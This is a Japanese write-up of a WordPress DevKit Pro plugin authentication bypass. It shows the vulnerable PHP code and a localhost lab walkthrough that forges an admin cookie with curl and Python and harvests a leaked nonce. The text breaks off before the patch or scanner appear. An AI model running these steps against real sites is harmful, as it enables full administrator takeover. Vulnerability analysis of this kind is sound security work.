
CVE-2026-14378(WordPress DevKit Pro Plugin <= 2.3.0)の防御的分析、パッチ詳細、および検出スキャナー。
CVE-2026-14378 は、WordPress 用 DevKit Pro プラグインにおける重大な 未認証の認証バイパス (CVSS 9.8) であり、2.3.0 までのすべてのバージョンに影響します。
このプラグインには、開発者向けのユーザー切り替えメカニズムが含まれています。管理者が別のユーザーアカウントに「切り替え」を行うと、管理者の ID を original_user_id という名前の Cookie に保存します。欠陥は次のとおりです。プラグインは、その Cookie が存在する場合は常に、任意のページ に「切り替えを戻す」HTML フォームをレンダリングします — Cookie を手動で設定した未認証の訪問者に対しても同様です。さらに悪いことに、nonce 検証ステップは 呼び出し元の セッションではなく、Cookie ユーザーの 管理者権限をチェックします — そのため、サーバーは正しい POST を送信した者に認証済み管理者セッション Cookie を喜んで渡してしまいます。
結果として: WordPress 管理者の完全な乗っ取りに資格情報は一切不要です。
| 属性 | 詳細 |
|---|---|
| CVE ID | CVE-2026-14378 |
| 脆弱性クラス | 不適切な認証 (CWE-287) |
| CVSS v3.1 スコア | 9.8 (Critical) |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるソフトウェア | DevKit Pro (dplugins) WordPress プラグイン |
| 脆弱なバージョン | <= 2.3.0 |
| 修正済みバージョン | 2.3.1 |
| 公開日 | 2026年10月2日 |
DevKit Pro には、サイト管理者が権限をテストするために他のユーザーアカウントに「切り替え」できる開発者向けヘルパーが含まれています。管理者が切り替えを使用すると:
Set-Cookie: original_user_id=1isset($_COOKIE['original_user_id']) をチェックしますwp_footer() に「Switch Back」ツールバーをレンダリングし、新しい nonce を含む隠し POST フォームを表示しますadmin-post.php?action=revert_switch に POST しますwp_set_auth_cookie($user_id) を呼び出して元のセッションを復元しますwp_footer フックハンドラー:
// DevKit Pro <= 2.3.0 — render_switch_back_bar()
public function render_switch_back_bar() {
// FLAW: Only checks if cookie exists — no session validation!
if ( isset( $_COOKIE['original_user_id'] ) ) {
$user_id = (int) $_COOKIE['original_user_id'];
$nonce = wp_create_nonce( 'devkit_revert_switch_' . $user_id );
echo '<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">';
echo ' <form id="devkit-revert-form" action="' . admin_url('admin-post.php') . '" method="POST">';
echo ' <input type="hidden" name="action" value="revert_switch" />';
echo ' <input type="hidden" name="_wpnonce" value="' . $nonce . '" />';
echo ' <input type="hidden" name="target_user_id" value="' . $user_id . '" />';
echo ' </form>';
echo '</div>';
echo '<!-- DevKit Pro 2.3.0 Switch Component Active -->';
}
}
フォーム送信を処理するPOSTハンドラ:
// DevKit Pro <= 2.3.0 — handle_revert_switch()
public function handle_revert_switch() {
$user_id = (int) $_POST['target_user_id'];
$nonce = sanitize_text_field( $_POST['_wpnonce'] );
if ( ! $this->verify_nonce_and_capability( $user_id, $nonce ) ) {
wp_die( 'Unauthorized' );
}
wp_set_current_user( $user_id );
wp_set_auth_cookie( $user_id ); // <-- Grants authenticated session to caller
wp_redirect( admin_url() );
exit;
}
private function verify_nonce_and_capability( $user_id, $nonce ) {
if ( ! wp_verify_nonce( $nonce, 'devkit_revert_switch_' . $user_id ) ) {
return false;
}
// CRITICAL FLAW: Checks the cookie user's capability, not the caller's!
return user_can( $user_id, 'manage_options' );
}
user_can( $user_id, 'manage_options' ) は次の問いに答えます: 「ユーザー #1 は manage_options ケイパビリティを持っているか?」
ユーザー #1(最初に作成された WordPress 管理者)に対する答えは常に true です。
本来問うべきは: 「この HTTP リクエストを行っている人物は manage_options ケイパビリティを持っているか?」
正しいチェックは current_user_can('manage_options') であり、未認証の訪問者に対しては false を返します。
このウォークスルー全体は、DevKit Pro 2.3.0 が有効な状態で、ローカルの Podman コンテナ(http://localhost:8080)上で動作する実際の WordPress インスタンスに対して実行および検証済みです。
これをローカルで再現するには、以下が必要です:
簡単な Podman ラボのセットアップ:
# Start MariaDB
podman run -d --name wp-db \
-e MYSQL_ROOT_PASSWORD=rootpass \
-e MYSQL_DATABASE=wordpress \
-e MYSQL_USER=wpuser \
-e MYSQL_PASSWORD=wppass \
mariadb:10.6
# Start WordPress
podman run -d --name wp-app \
-p 8080:80 \
--link wp-db:mysql \
-e WORDPRESS_DB_HOST=mysql \
-e WORDPRESS_DB_NAME=wordpress \
-e WORDPRESS_DB_USER=wpuser \
-e WORDPRESS_DB_PASSWORD=wppass \
wordpress:latest
WordPress の初期化後(http://localhost:8080/wp-admin/install.php)、プラグインメニューから DevKit Pro 2.3.0 をインストールして有効化します。
攻撃ペイロードを送信する前に、プラグインが存在することを確認し、プラグインの readme を取得してバージョンを特定します:
リクエスト:
GET /wp-content/plugins/devkit-pro/readme.txt HTTP/1.1
Host: localhost:8080
レスポンス (HTTP 200):
=== DevKit Pro ===
Requires at least: 5.0
Tested up to: 6.8
Requires PHP: 7.4
Stable tag: 2.3.0
License: GPLv2 or later
バージョン 2.3.0 は影響範囲 <= 2.3.0 内です。続行します。
サーバーが HTTP 404 を返す場合、プラグインがインストールされていないか、パスが変更されています — このターゲットはこのベクターでは脆弱ではありません。
original_user_id Cookie を 1(初期管理者のユーザー ID)に設定して、任意の WordPress ページに GET リクエストを送信します:
リクエスト:
GET /wp-login.php HTTP/1.1
Host: localhost:8080
Cookie: original_user_id=1
curl を使用できます:
curl -v -H "Cookie: original_user_id=1" http://localhost:8080/wp-login.php
または Python(requests ライブラリ):
import requests
url = "http://localhost:8080/wp-login.php"
cookie = {"original_user_id": "1"}
resp = requests.get(url, cookies=cookie)
print(resp.text)
サーバーが返すもの(実際のHTTPレスポンスボディからの抜粋):
<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">
<form id="devkit-revert-form" action="http://localhost:8080/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="revert_switch" />
<input type="hidden" name="_wpnonce" value="756081f907" />
<input type="hidden" name="target_user_id" value="1" />
</form>
</div>
<!-- DevKit Pro 2.3.0 Switch Component Active -->
サーバーは以下を行いました:
756081f907)を生成したadmin-post.php?action=revert_switch を指す隠しフォームにそれを埋め込んだ_wpnonce 隠し入力から nonce 値を抽出してください — これが次のステップへの鍵です。
Python で nonce を解析する:
from bs4 import BeautifulSoup